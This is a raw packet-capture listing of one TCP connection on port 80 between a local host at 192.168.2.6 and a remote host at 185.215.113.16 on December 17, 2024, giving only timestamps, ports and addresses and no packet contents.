Dec 17, 2024 10:08:47.621440887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.621507883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.621999025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.622020960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.622061968 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.622520924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.622536898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.622565985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.623687029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.623701096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.623739004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.624524117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.624541044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.624577045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.625211000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.625258923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.625365019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.626058102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.626076937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.626198053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.626329899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.626697063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.627214909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.627281904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.627373934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.627391100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.627542973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.628200054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.628568888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.628642082 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.628890991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.628952980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.629463911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.629477978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.629509926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.629628897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.630489111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.630594969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.630641937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.631294966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.631443024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.631445885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.631961107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.631974936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.632005930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.632049084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.632180929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.632236004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.632708073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.632757902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.633450031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.633462906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.633503914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.633574963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.634371042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.634413004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.634641886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.635169983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.635206938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.635267973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.635875940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.635915041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.635970116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.636544943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.636595011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.637253046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.637387991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.637399912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.637439966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.638597965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.638683081 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.638837099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.638853073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.638889074 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.639297009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.790694952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.791001081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.791083097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.791127920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.791155100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.791981936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.792031050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.792171955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.792347908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.792675018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.792962074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.793432951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.793641090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.793680906 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.794123888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.794373035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.795018911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.795032978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.795056105 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.795068979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.795734882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.795768976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.796550989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.796597004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.796641111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.797220945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.797393084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.797431946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.797988892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.798022032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.798055887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.798739910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.799261093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.799493074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.799578905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.799664974 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.799676895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.800275087 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.800529003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.800571918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.801105022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.801188946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.801296949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.801820040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.802109957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.802143097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.802594900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.802639008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.802676916 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.803419113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.803431034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.803467035 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.804172039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.804286003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.804439068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.805093050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.805182934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.805217981 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.805682898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.805696011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.805763960 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.806437016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.806688070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.806791067 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.807533979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.807667017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.807706118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.808125019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.808275938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.808459044 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.808702946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.808943033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.808983088 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.809367895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.809530973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.809554100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.809586048 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.810281038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.810453892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.810578108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.811001062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.811423063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.811544895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.811837912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.811935902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.812061071 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.812570095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.812583923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.812625885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.813375950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.813390017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.813461065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.814058065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.814177990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.814853907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.814905882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.814948082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.815040112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.815610886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.815625906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.815682888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.816446066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.816457033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.816502094 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.817111015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.817240000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.817279100 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.817933083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.817949057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.818672895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.818716049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.818792105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.818829060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.819431067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.819694042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.819736004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.820291042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.820306063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.820338964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.821199894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.821330070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.821450949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.821755886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.821768999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.821804047 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.822525978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.822634935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.822680950 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.823299885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.823596954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.823638916 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.824018955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.824209929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.824249029 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.824866056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.824892998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.825594902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.825668097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.825767040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.825850964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.826303959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.826525927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.826561928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.827117920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.827128887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.827162027 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.827852011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.828032970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.828222036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.828619957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.828666925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.828728914 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.829468012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.829483032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.829545021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.830135107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.830209017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.830241919 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.831021070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.875946045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.951479912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.982769966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.982852936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.982925892 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.983023882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.983036995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.983078957 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.983608007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.983730078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.983885050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.984400988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.984716892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.984756947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.985127926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.985141039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.985177040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.985872984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.985904932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.985939026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.986674070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.987121105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.987169981 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.987498045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.987545967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.987579107 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.988329887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.988787889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.988830090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.988998890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.989011049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.989053965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.989712000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.989999056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.990221977 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.990518093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.990633965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.990678072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.991338968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.991395950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.991485119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.992028952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.992163897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.992207050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.992813110 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.992989063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.993048906 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.993565083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.993581057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.993617058 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.994301081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.994400024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.995071888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.995125055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.995204926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.995248079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.995857954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.996104002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.996134996 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.996623039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.996881962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.996931076 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.997412920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.997425079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.997459888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.998270988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.998303890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.998467922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.998931885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.999070883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:47.999111891 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:47.999773979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.000108957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.000356913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.000453949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.000466108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.000503063 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.001230001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.002070904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.002085924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.002104044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.002120972 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.002147913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.002736092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.003062963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.003106117 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.003504038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.004112005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.004230976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.004249096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.004520893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.004569054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.005055904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.005280018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.005331039 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.005836964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.005918980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.006000042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.006596088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.006611109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.006649971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.007371902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.007428885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.007972956 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.008137941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.008517027 CET	80	49774	185.215.113.16	192.168.2.6
